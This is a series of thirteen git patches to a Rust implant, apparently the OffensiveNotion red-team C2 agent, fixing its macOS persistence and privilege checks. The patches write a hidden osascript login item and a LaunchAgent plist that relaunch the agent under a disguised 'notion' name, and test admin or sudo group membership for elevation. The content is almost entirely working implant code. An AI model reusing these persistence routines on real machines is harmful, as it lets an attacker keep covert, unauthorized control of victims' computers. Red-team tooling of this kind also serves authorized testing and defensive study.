From 38bf97d78eebde4265c920db4df33a94d2f32d7d Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:05:33 -0800 Subject: [PATCH 01/13] Fix format string for osascript --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 1e45d8b..e94fb28 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -290,7 +290,7 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {path:"{dest_path}/notion", hidden:true}'"#)] + vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties \{path:"{dest_path}/notion", hidden:true\}'"#)] ); if let Ok(_) = shell::handle(&mut bashrc_args).await { Ok("Login item created!".to_string()) From 212aa784ea7f05deea7198f1351fc3aaf232bf66 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:07:39 -0800 Subject: [PATCH 02/13] Fix other small Mac persist issues --- agent/src/cmd/persist.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index e94fb28..f06a02e 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -292,7 +292,7 @@ WantedBy=multi-user.target" let mut applescript_args = CommandArgs::new( vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties \{path:"{dest_path}/notion", hidden:true\}'"#)] ); - if let Ok(_) = shell::handle(&mut bashrc_args).await { + if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) } else { Ok("Could not create login item".to_string()) @@ -332,7 +332,7 @@ r#" "#); write(launch_agent_path, launch_agent_string)?; - Ok(format!("LaunchAgent written to {launch_agent_path}")); + Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { return Ok("Could not copy app to destination".to_string()); } From f5bb3a7c77b7865da8907f8eace122b8b683dc3c Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:09:30 -0800 Subject: [PATCH 03/13] Double curlies are escaped? --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index f06a02e..19a158a 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -290,7 +290,7 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties \{path:"{dest_path}/notion", hidden:true\}'"#)] + vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#)] ); if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) From 1c040e6c51fed00cbdc7137c8490e3aecfa16934 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:11:26 -0800 Subject: [PATCH 04/13] Fix move --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 19a158a..29e6128 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -285,7 +285,7 @@ WantedBy=multi-user.target" Ok(_) => { logger.info("Notion directory created".to_string()); }, Err(e) => { logger.err(e.to_string()); } }; - if let Ok(_) = copy(&app_path, dest_path) { + if let Ok(_) = copy(&app_path, &dest_path) { // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. From 155eb3ebb68c611036f0ec5d1f9ed965811c992e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:12:35 -0800 Subject: [PATCH 05/13] Continued borrow fixes --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 29e6128..a6e4ff2 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -331,7 +331,7 @@ r#" "#); - write(launch_agent_path, launch_agent_string)?; + write(&launch_agent_path, &launch_agent_string)?; Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { return Ok("Could not copy app to destination".to_string()); From b891985759cb36d90b0344701c9b8f1261d866bf Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 07:04:24 -0800 Subject: [PATCH 06/13] Fix elevate for Mac --- agent/src/cmd/elevate.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index 444d698..f768c82 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -27,10 +27,10 @@ pub fn can_elevate() -> bool { .nth(0) .unwrap(); - #[cfg(unix)] { + #[cfg(target_os = "linux")] { return user.groups().contains(&"sudo".to_string()); } - #[cfg(macos)] { + #[cfg(target_os = "macos")] { return user.groups().contains(&"admin".to_string()); } #[cfg(windows)] { From a0714e070933abc3cced06f69b0c0df63a328f38 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 07:08:24 -0800 Subject: [PATCH 07/13] Attempt to catch LaunchAgent dir error --- agent/src/cmd/persist.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index a6e4ff2..b20a595 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -331,6 +331,10 @@ r#" "#); + // Make the user LaunchAgents dir if it doesn't exist + if let Err(_) = std::fs::try_exists(path) { + create_dir(format!("{home}/LIbrary/LaunchAgents"))?; + } write(&launch_agent_path, &launch_agent_string)?; Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { From 9e08117f1f4348c2e6da805a2d6622a8387383ae Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 21:33:04 -0800 Subject: [PATCH 08/13] launch agent path fix --- agent/src/cmd/persist.rs | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index b20a595..bbd524c 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -310,11 +310,11 @@ WantedBy=multi-user.target" }; if let Ok(_) = copy(&app_path, &dest_path) { let b64_config = config_options.to_base64(); - let launch_agent_path: String; + let launch_agent_dir: String; if is_root() { - launch_agent_path = "/Library/LaunchAgents/com.notion.offnote.plist".to_string(); + launch_agent_path = "/Library/LaunchAgents".to_string(); } else { - launch_agent_path = format!("{home}/Library/LaunchAgents/com.notion.offnote.plist"); + launch_agent_path = format!("{home}/Library/LaunchAgents"); } let launch_agent_string = format!( r#" @@ -332,10 +332,14 @@ r#" "#); // Make the user LaunchAgents dir if it doesn't exist - if let Err(_) = std::fs::try_exists(path) { - create_dir(format!("{home}/LIbrary/LaunchAgents"))?; + + if !std::path::Path::new(&launch_agent_path).is_dir() { + create_dir(&launch_agent_path)?; } - write(&launch_agent_path, &launch_agent_string)?; + write( + format!("{launch_agent_path}/com.notion.offnote.plist").as_str(), + &launch_agent_string + )?; Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { return Ok("Could not copy app to destination".to_string()); From fa5cf13147eca57946d0d279aac5950c364626dc Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 21:34:44 -0800 Subject: [PATCH 09/13] Why did I do that --- agent/src/cmd/persist.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index bbd524c..c300c62 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -312,9 +312,9 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); let launch_agent_dir: String; if is_root() { - launch_agent_path = "/Library/LaunchAgents".to_string(); + launch_agent_dir = "/Library/LaunchAgents".to_string(); } else { - launch_agent_path = format!("{home}/Library/LaunchAgents"); + launch_agent_dir = format!("{home}/Library/LaunchAgents"); } let launch_agent_string = format!( r#" From e326cf4abbf4cc9e53008e4b175fff7549bf0609 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 21:35:48 -0800 Subject: [PATCH 10/13] Why did I do that, pt. 2 --- agent/src/cmd/persist.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index c300c62..ceab635 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -333,14 +333,14 @@ r#" "#); // Make the user LaunchAgents dir if it doesn't exist - if !std::path::Path::new(&launch_agent_path).is_dir() { - create_dir(&launch_agent_path)?; + if !std::path::Path::new(&launch_agent_dir).is_dir() { + create_dir(&launch_agent_dir)?; } write( - format!("{launch_agent_path}/com.notion.offnote.plist").as_str(), + format!("{launch_agent_dir}/com.notion.offnote.plist").as_str(), &launch_agent_string )?; - Ok(format!("LaunchAgent written to {launch_agent_path}")) + Ok(format!("LaunchAgent written to {launch_agent_dir}")) } else { return Ok("Could not copy app to destination".to_string()); } From 37369e2d221c101bc19115b6c3efdc0c086e705c Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 22:38:58 -0800 Subject: [PATCH 11/13] Change plist name --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index ceab635..a4f004e 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -322,7 +322,7 @@ r#" Label -com.mttaggart.offensivenotion +com.notion.offnote ProgramArguments {dest_path} From 607782e6256c415d661a64de705f841795e9e747 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 23:32:11 -0800 Subject: [PATCH 12/13] Debug osascript --- agent/src/cmd/persist.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index a4f004e..d708b8b 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -289,8 +289,10 @@ WantedBy=multi-user.target" // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. + let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#); + logger.debug(osascript_string.to_owned()); let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#)] + vec![osascript_string] ); if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) From a9cda9547faecb06005a3f2b953de2e46d34e622 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 23:35:34 -0800 Subject: [PATCH 13/13] Fix osascript dest path --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index d708b8b..7d122a4 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -289,7 +289,7 @@ WantedBy=multi-user.target" // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. - let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#); + let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}", hidden:true}}'"#); logger.debug(osascript_string.to_owned()); let mut applescript_args = CommandArgs::new( vec![osascript_string]